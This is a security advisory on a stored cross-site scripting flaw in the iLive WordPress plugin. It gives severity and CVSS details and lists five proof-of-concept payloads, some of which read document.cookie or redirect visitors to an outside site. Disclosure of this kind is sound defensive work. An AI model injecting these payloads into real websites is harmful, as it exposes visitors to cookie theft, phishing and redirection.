SB2019062519 - Stored XSS in iLive plugin for WordPress



SB2019062519 - Stored XSS in iLive plugin for WordPress

Published: June 25, 2019 Updated: July 18, 2019

Security Bulletin ID SB2019062519
CSH Severity
Low
Patch available
NO
Number of vulnerabilities 1
Exploitation vector Remote access
Highest impact Data manipulation

Breakdown by Severity

Low 100%
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Description

This security bulletin contains information about 1 vulnerability.


1) Stored cross-site scripting (CVE-ID: N/A)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]


The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to the weak security measures like bad textarea data filtering. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);>
Example #2: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(document.cookie);>
Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');>
Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">
Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">

Remediation

Cybersecurity Help is not aware of any official remediation provided by the vendor.